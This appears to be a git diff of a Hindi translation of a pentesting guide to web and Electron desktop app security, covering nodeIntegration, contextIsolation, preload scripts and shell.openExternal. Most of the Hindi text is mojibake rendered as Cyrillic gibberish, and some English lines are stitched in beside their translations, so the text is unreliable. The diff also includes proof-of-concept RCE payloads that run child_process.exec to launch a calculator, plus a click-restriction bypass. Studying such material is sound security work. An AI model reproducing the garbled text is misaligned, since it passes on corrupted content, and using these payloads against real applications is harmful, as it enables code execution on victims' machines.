+рдЕрдм рдЬрдм web application рдХрд╛ рд╡реНрдпрд╛рдкрдХ enumeration рдкреВрд░рд╛ рд╣реЛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЕрдм рдХрдИ рд╕рдВрднрд╛рд╡рд┐рдд vulnerabilities рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИред рдЖрдк checklist рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
-Web vulns рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА:
+web vulns рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@@ -343,7 +342,7 @@ Web vulns рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА:
### Monitor Pages for changes
-рдЖрдк рдРрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) рддрд╛рдХрд┐ pages рдореЗрдВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ modifications рдХреЛ monitor рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреЛ vulnerabilities рд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред
+рдЖрдк pages рдореЗрдВ рдХрд┐рдП рдЧрдП modifications рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) рдЬреИрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рдВрднрд╛рд╡рд┐рдд vulnerabilities рдХреЗ рдЖрдиреЗ рдкрд░ рдкрддрд╛ рдЪрд▓ рд╕рдХреЗред
### HackTricks Automatic Commands
```
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index 6d17ce371..7c5c33aef 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -1,12 +1,12 @@
-# Electron рдбреЗрд╕реНрдХрдЯреЙрдк рдРрдкреНрд╕
+# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## рдкрд░рд┐рдЪрдп
-Electron рд╕реНрдерд╛рдиреАрдп рдмреИрдХрдПрдВрдб (**NodeJS** рдХреЗ рд╕рд╛рде) рдФрд░ рдлреНрд░рдВрдЯрдПрдВрдб (**Chromium**) рдХреЛ рдорд┐рд▓рд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдореЗрдВ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдирд╣реАрдВ рд╣реЛрддреЗред
+Electron рд╕реНрдерд╛рдиреАрдп backend (**NodeJS** рдХреЗ рд╕рд╛рде) рдФрд░ frontend (**Chromium**) рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдореЗрдВ рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреА рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░реЛрдВ рдХреА рдХрдореА рд╣реЛрддреА рд╣реИред
-рдЖрдо рддреМрд░ рдкрд░ рдЖрдк Electron рдРрдк рдХрд╛ рдХреЛрдб `.asar` application рдХреЗ рдЕрдВрджрд░ рдкрд╛рдПрдБрдЧреЗ; рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ рдирд┐рдХрд╛рд▓рдирд╛ рд╣реЛрдЧрд╛:
+рдЖрдорддреМрд░ рдкрд░ рдЖрдк Electron app рдХрд╛ рдХреЛрдб `.asar` рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рдкрд╛рдПрдВрдЧреЗ; рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ extract рдХрд░рдирд╛ рд╣реЛрдЧрд╛:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
@@ -17,14 +17,14 @@ Electron app рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдореЗрдВ, `packet.json` рдХреЗ
"name": "standard-notes",
"main": "./app/index.js",
```
-Electron рдореЗрдВ 2 process рдкреНрд░рдХрд╛рд░ рд╣реИрдВ:
+Electron рдХреЗ 2 рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреНрд░реЛрд╕реЗрд╕ рд╣реИрдВ:
-- Main Process (NodeJS рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реЛрддреА рд╣реИ)
+- Main Process (NodeJS рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реИ)
- Renderer Process (рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ NodeJS рдХреА рдкрд╣реБрдБрдЪ рд╕реАрдорд┐рдд рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП)
.png>)
-рдПрдХ **renderer process** рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рд╣реЛрдЧреА рдЬреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд▓реЛрдб рдХрд░рддреА рд╣реИ:
+рдПрдХ **renderer process** рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рд╣реЛрдЧреА рдЬреЛ рдПрдХ рдлрд╛рдЗрд▓ рд▓реЛрдб рдХрд░реЗрдЧреА:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@@ -32,18 +32,33 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
-main.js рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ **main рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдореЗрдВ **renderer рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ **рдХреЙрдиреНрдлрд╝рд┐рдЧрд░** рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдХреБрдЫ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди Electron application рдХреЛ RCE рдпрд╛ рдЕрдиреНрдп vulnerabilities рдорд┐рд▓рдиреЗ рд╕реЗ **рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВ** рдпрджрд┐ рдпреЗ **settings рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░** рдХрд┐рдП рдЧрдП рд╣реЛрдВред
+Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
-Electron application **рдбрд┐рд╡рд╛рдЗрд╕ рддрдХ рдкрд╣реБрдБрдЪ рдХрд░ рд╕рдХрддрд╛ рд╣реИ** via Node apis, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
+main.js рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ **main process** рдореЗрдВ **renderer process** рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ **configured** рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдЕрдЧрд░ рдпреЗ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЧрдИ рд╣реЛрдВ рддреЛ рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди Electron application рдХреЛ RCE рдпрд╛ рдЕрдиреНрдп vulnerabilities рдЖрдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВред
-- **`nodeIntegration`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред рдЕрдЧрд░ `on` рд╣реЛ, рддреЛ renderer рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ node features рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
-- **`contextIsolation`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `on` рд╣реИред рдЕрдЧрд░ `off` рд╣реЛ, рддреЛ main рдФрд░ renderer рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЕрд▓рдЧ-рдерд▓рдЧ рдирд╣реАрдВ рд░рд╣рддреАрдВред
+The electron application **could access the device** via Node apis although it can be configure to prevent it:
+
+Electron application Node apis рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
+
+- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
+- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
+- **`preload`** - empty by default.
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
+- Node Integration in Workers
+- **`nodeIntegrationInSubframes`**- is `off` by default.
+- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
+- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
+
+- **`nodeIntegration`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред рдпрджрд┐ `on` рд╣реИ, рддреЛ renderer process рд╕реЗ node рдлреАрдЪрд░реНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
+- **`contextIsolation`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `on` рд╣реИред рдпрджрд┐ `off` рд╣реИ, рддреЛ main рдФрд░ renderer processes рдЕрд▓рдЧ-рдерд▓рдЧ рдирд╣реАрдВ рд░рд╣рддреЗред
- **`preload`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЦрд╛рд▓реА рд╣реИред
-- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ off рд╣реИред рдпрд╣ NodeJS рдХреЗ рджреНрд╡рд╛рд░рд╛ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА actions рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдЧрд╛ред
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред рдпрд╣ NodeJS рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ actions рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░реЗрдЧрд╛ред
- Workers рдореЗрдВ Node Integration
- **`nodeIntegrationInSubframes`** - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `off` рд╣реИред
-- рдпрджрд┐ **`nodeIntegration`** **рд╕рдХреНрд╖рдо** рд╣реИ, рддреЛ рдпрд╣ Electron application рдХреЗ рднреАрддрд░ iframes рдореЗрдВ рд▓реЛрдб рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ web pages рдореЗрдВ **Node.js APIs** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред
-- рдпрджрд┐ **`nodeIntegration`** **рдирд┐рд╖реНрдХреНрд░рд┐рдп** рд╣реИ, рддреЛ preloads iframe рдореЗрдВ рд▓реЛрдб рд╣реЛрдВрдЧреЗ
+- рдпрджрд┐ **`nodeIntegration`** **enabled** рд╣реИ, рддреЛ рдпрд╣ Electron application рдХреЗ рдЕрдВрджрд░ iframes рдореЗрдВ рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╡реЗрдм рдкреЗрдЬреЛрдВ рдореЗрдВ **Node.js APIs** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред
+- рдпрджрд┐ **`nodeIntegration`** **disabled** рд╣реИ, рддреЛ preload рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ iframe рдореЗрдВ рд▓реЛрдб рд╣реЛрдВрдЧреЗред
+
+Example of configuration:
рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрджрд╛рд╣рд░рдг:
```javascript
@@ -71,7 +86,7 @@ spellcheck: true,
},
}
```
-рдХреБрдЫ **RCE payloads** [рдпрд╣рд╛рдБ](https://7as.es/electron/nodeIntegration_rce.txt):
+рдХреБрдЫ **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt) рд╕реЗ:
```html
Example Payloads (Windows):
require("child_process").exec("calc")
@@ -123,7 +139,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
-рдЗрд╕ рд╕реЗрдЯрд┐рдВрдЧ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ **renderer рдореЗрдВ рдЕрдиреНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХреА рдЬрд╛рддреА рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **Node APIs рддрдХ рдЕрд╕реАрдорд┐рдд рдкрд╣реБрдБрдЪ** рд╣реИ:
+рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ **renderer рдореЗрдВ рдЕрдиреНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рд╣реЛрддреА рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **Node APIs рддрдХ рдЕрд╕реАрдорд┐рдд рдкрд╣реБрдБрдЪ** рд╣реИ:
```javascript
new BrowserWindow{
webPreferences: {
@@ -132,7 +148,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
-рдЗрд╕рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ node-features рдХреЛ pages рдореЗрдВ export рдХрд░ рд╕рдХрддреА рд╣реИ:
+рдЗрд╕рд▓рд┐рдП, рд╕реНрдХреНрд░рд┐рдкреНрдЯ node-features рдХреЛ pages рдореЗрдВ рдирд┐рд░реНрдпрд╛рдд рдХрд░ рд╕рдХрддреА рд╣реИ:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@@ -152,13 +168,13 @@ runCalc()
## RCE: XSS + contextIsolation
-The _**contextIsolation**_ рд╡реЗрдм рдкреЗрдЬ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдФрд░ JavaScript Electron рдХреЗ internal code рдХреЗ рдмреАрдЪ **рдЕрд▓рдЧ-рдЕрд▓рдЧ contexts** рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдХреЛрдб рдХреА JavaScript execution рдПрдХ-рджреВрд╕рд░реЗ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рди рдХрд░реЗред рдпрд╣ RCE рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдлреАрдЪрд░ рд╣реИред
+The _**contextIsolation**_ рд╡реЗрдм рдкреЗрдЬ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдФрд░ Electron рдХреЗ internal JavaScript рдХреЛрдб рдХреЗ рдмреАрдЪ **рдЕрд▓рдЧ рдХрд┐рдП рдЧрдП contexts** рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдХреЛрдб рдХреА JavaScript execution рдПрдХ-рджреВрд╕рд░реЗ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рди рдХрд░реЗред рдпрд╣ RCE рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдЦрддреНрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрд╡рд╢реНрдпрдХ рдлреАрдЪрд░ рд╣реИред
-рдпрджрд┐ contexts рдЕрд▓рдЧ рдирд╣реАрдВ рд╣реИрдВ рддреЛ attacker рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
+рдпрджрд┐ contexts isolated рдирд╣реАрдВ рд╣реИрдВ рддреЛ attacker рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
-1. renderer рдореЗрдВ **arbitrary JavaScript рдХреЛ execute рдХрд░рдирд╛** (XSS рдпрд╛ external рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ navigation)
-2. **preload рдпрд╛ Electron internal code рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ built-in method рдХреЛ overwrite рдХрд░рдирд╛** рдФрд░ рдЙрд╕реЗ рдЕрдкрдиреЗ function рдореЗрдВ рдмрджрд▓рдирд╛
-3. **overwrite рдХрд┐рдП рдЧрдП function рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ trigger рдХрд░рдирд╛**
+1. Execute **renderer рдореЗрдВ arbitrary JavaScript** (XSS рдпрд╛ external рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ navigation)
+2. **preload рдпрд╛ Electron internal code рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ built-in method** рдХреЛ overwrite рдХрд░рдирд╛ рддрд╛рдХрд┐ function рдкрд░ control рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ
+3. **overwritten function** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ **trigger** рдХрд░рдирд╛
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
@@ -180,34 +196,34 @@ electron-contextisolation-rce-via-ipc.md
### Bypass click event
-рдпрджрд┐ рдХрд┐рд╕реА link рдкрд░ click рдХрд░рдиреЗ рдкрд░ restrictions рд▓рд╛рдЧреВ рд╣реИрдВ рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ bypass рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **doing a middle click** рдХреЗ рдЬрд╝рд░рд┐рдП, regular left click рдХреА рдЬрдЧрд╣ред
+рдпрджрд┐ link рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рдХреБрдЫ restrictions рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдирд┐рдпрдорд┐рдд left click рдХреА рдмрдЬрд╛рдп **middle click** рдХрд░рдХреЗ bypass рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
```javascript
window.addEventListener('click', (e) => {
```
-## RCE via shell.openExternal
+## RCE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ shell.openExternal
рдЗрди рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) рдФрд░ [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
-рдЬрдм Electron desktop application рдХреЛ deploy рдХрд░рддреЗ рд╕рдордп, `nodeIntegration` рдФрд░ `contextIsolation` рдХреА рд╕рд╣реА settings рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдмреЗрд╣рдж рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпрд╣ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдХрд┐ **client-side remote code execution (RCE)** рдЬреЛ preload scripts рдпрд╛ Electron's native code рдХреЛ main process рд╕реЗ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИ, рдЗрди settings рдХреЗ рд╕рд╛рде рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд░реЛрдХреА рдЬрд╛рддреА рд╣реИред
+Electron рдбреЗрд╕реНрдХрдЯреЙрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддреИрдирд╛рдд рдХрд░рддреЗ рд╕рдордп, `nodeIntegration` рдФрд░ `contextIsolation` рдХреЗ рд╕рд╣реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпрд╣ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдХрд┐ рдпреЗ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╣реЛрдиреЗ рдкрд░ preload scripts рдпрд╛ Electron рдХреЗ native code рдХреЛ main process рд╕реЗ рдЯрд╛рд░реНрдЧреЗрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реА **client-side remote code execution (RCE)** рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд░реЛрдХреА рдЬрд╛рддреА рд╣реИред
-рд▓рд┐рдВрдХреНрд╕ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдпрд╛ рдирдП рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рдиреЗ рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ event listeners рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВ:
+рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдпрд╛ рдирдпрд╛ рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рддрд╛ рд╣реИ, рддреЛ рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ event listeners рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛрддреЗ рд╣реИрдВ:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
-рдпреЗ listeners рдбреЗрд╕реНрдХрдЯреЙрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдЕрдкрдиреА **business logic** рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдУрд╡рд░рд░рд╛рдЗрдб** рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╣ рдЖрдХрд▓рди рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд▓рд┐рдВрдХ рдЕрдВрджрд░ рд╣реА рдЦреБрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдХрд┐рд╕реА рдмрд╛рд╣рд░реА рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВред рдпрд╣ рдирд┐рд░реНрдгрдп рд╕рд╛рдорд╛рдиреНрдпрддрдГ `openInternally` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдЧрд░ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди `false` рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд▓рд┐рдВрдХ рдХреЛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, `shell.openExternal` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред
+рдпреЗ listeners рдХреЛ рдбреЗрд╕реНрдХрдЯреЙрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ **рдУрд╡рд░рд░рд╛рдЗрдб** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕рдХрд╛ рдЕрдкрдирд╛ **рдмрд┐рдЬрдиреЗрд╕ рд▓реЙрдЬрд┐рдХ** рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╣ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХреА рдЧрдИ рд▓рд┐рдВрдХ рдХреЛ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдХрд┐рд╕реА external рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВред рдпрд╣ рдирд┐рд░реНрдгрдп рдЖрдорддреМрд░ рдкрд░ `openInternally` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди `false` рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд▓рд┐рдВрдХ рдХреЛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, рдпрд╛рдиреА `shell.openExternal` 